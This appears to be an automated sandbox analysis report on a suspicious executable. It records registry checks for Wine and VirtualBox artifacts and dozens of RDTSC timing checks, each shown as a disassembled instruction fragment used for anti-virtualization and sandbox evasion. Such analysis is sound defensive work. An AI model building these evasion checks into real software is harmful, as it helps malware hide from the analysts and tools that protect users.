Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1B4 second address: 5BF1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1B8 second address: 5BF1EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F55Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F768920F558h 0x0000000f pushad 0x00000010 jmp 00007F768920F567h 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF1EC second address: 5BF1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B4C7F second address: 5B4C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE34C second address: 5BE356 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE356 second address: 5BE372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F567h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE372 second address: 5BE378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE62F second address: 5BE644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F768920F561h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE644 second address: 5BE663 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7689489CB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE913 second address: 5BE917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE917 second address: 5BE92E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7689489CB1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BE92E second address: 5BE945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F768920F561h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEA7B second address: 5BEA91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F7689489CA6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C1EED second address: 5C1F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F768920F558h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D2CEAh], eax 0x00000027 push 00000000h 0x00000029 or si, 0281h 0x0000002e call 00007F768920F559h 0x00000033 push ebx 0x00000034 push eax 0x00000035 pushad 0x00000036 popad 0x00000037 pop eax 0x00000038 pop ebx 0x00000039 push eax 0x0000003a jmp 00007F768920F55Eh 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 jmp 00007F768920F568h 0x00000048 mov eax, dword ptr [eax] 0x0000004a jmp 00007F768920F55Ch 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 jns 00007F768920F556h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2016 second address: 5C201A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C206D second address: 5C2073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2073 second address: 5C2079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2079 second address: 5C20BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 je 00007F768920F559h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F768920F558h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b call 00007F768920F559h 0x00000030 push esi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C20BD second address: 5C20E1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7689489CB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E152C second address: 5E1530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1530 second address: 5E1534 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1534 second address: 5E153E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E153E second address: 5E1542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1542 second address: 5E154B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1984 second address: 5E198D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E198D second address: 5E1991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1991 second address: 5E1997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C53 second address: 5E1C78 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F768920F556h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F768920F567h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C78 second address: 5E1C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1DEC second address: 5E1DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1DF0 second address: 5E1E0C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F7689489CACh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1E0C second address: 5E1E2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F55Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F768920F55Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1E2A second address: 5E1E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2149 second address: 5E215F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F768920F568h 0x00000008 jmp 00007F768920F55Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B819E second address: 5B81A5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2B95 second address: 5E2B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2E48 second address: 5E2E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7689489CB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E331A second address: 5E3320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3320 second address: 5E332A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7689489CA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6919 second address: 5E6920 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6B82 second address: 5E6B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9D9B second address: 5B9DB1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F768920F556h 0x00000008 jmp 00007F768920F55Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1783 second address: 5B1787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B1787 second address: 5B178D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B178D second address: 5B1793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECCD2 second address: 5ECD1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F768920F563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F768920F562h 0x00000014 pushad 0x00000015 jnp 00007F768920F556h 0x0000001b jnl 00007F768920F556h 0x00000021 jp 00007F768920F556h 0x00000027 popad 0x00000028 popad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c jc 00007F768920F556h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECD1F second address: 5ECD2F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECD2F second address: 5ECD4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jg 00007F768920F556h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F768920F556h 0x00000016 jnc 00007F768920F556h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECD4B second address: 5ECD4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ECEED second address: 5ECEF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED4D1 second address: 5ED4EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7689489CB3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED4EA second address: 5ED4F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F768920F556h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7D7 second address: 5ED7E3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0A95 second address: 5F0A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0B64 second address: 5F0B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F7689489CA8h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F7689489CB0h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7689489CAFh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1166 second address: 5F116A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F13F3 second address: 5F13F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F13F7 second address: 5F13FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F13FD second address: 5F1402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1402 second address: 5F1408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1985 second address: 5F1989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1B70 second address: 5F1B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1F02 second address: 5F1F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2E59 second address: 5F2ECF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F768920F556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F768920F561h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F768920F558h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d jmp 00007F768920F55Ah 0x00000032 sub esi, 7BDFFB45h 0x00000038 mov esi, eax 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007F768920F558h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 push eax 0x00000057 pushad 0x00000058 push esi 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3E93 second address: 5F3EB8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, esi 0x0000000d push 00000000h 0x0000000f mov esi, 6FA21994h 0x00000014 push 00000000h 0x00000016 mov si, 003Ch 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d ja 00007F7689489CA8h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5F4E second address: 5F5F52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5F52 second address: 5F5F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5F58 second address: 5F5F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5F5E second address: 5F5F7F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7689489CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F7689489CAFh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5F7F second address: 5F5FC7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F768920F556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c sub esi, 182EE3D7h 0x00000012 push 00000000h 0x00000014 mov edi, ebx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F768920F558h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 cld 0x00000033 xchg eax, ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 push edx 0x00000037 jmp 00007F768920F55Dh 0x0000003c pop edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5FC7 second address: 5F5FCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5FCC second address: 5F5FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F768920F564h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5FE0 second address: 5F5FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F69B1 second address: 5F69BB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F768920F556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F69BB second address: 5F69D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7689489CB3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB141 second address: 5FB146 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7C82 second address: 5F7C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB146 second address: 5FB158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F768920F556h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB158 second address: 5FB15C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB15C second address: 5FB162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB162 second address: 5FB167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB167 second address: 5FB16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB2CD second address: 5FB2D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC3D6 second address: 5FC3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB2D3 second address: 5FB2D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB2D9 second address: 5FB2DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE241 second address: 5FE245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD518 second address: 5FD523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F768920F556h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60024E second address: 600253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FF46C second address: 5FF4EB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F768920F556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F768920F562h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov ebx, dword ptr [ebp+12451F2Fh] 0x00000019 push dword ptr fs:[00000000h] 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007F768920F558h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 jmp 00007F768920F569h 0x00000046 mov eax, dword ptr [ebp+122D05D1h] 0x0000004c push FFFFFFFFh 0x0000004e and edi, dword ptr [ebp+122D2DC7h] 0x00000054 push eax 0x00000055 pushad 0x00000056 push esi 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601395 second address: 601399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 601399 second address: 60139F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600558 second address: 60055C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60055C second address: 600562 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
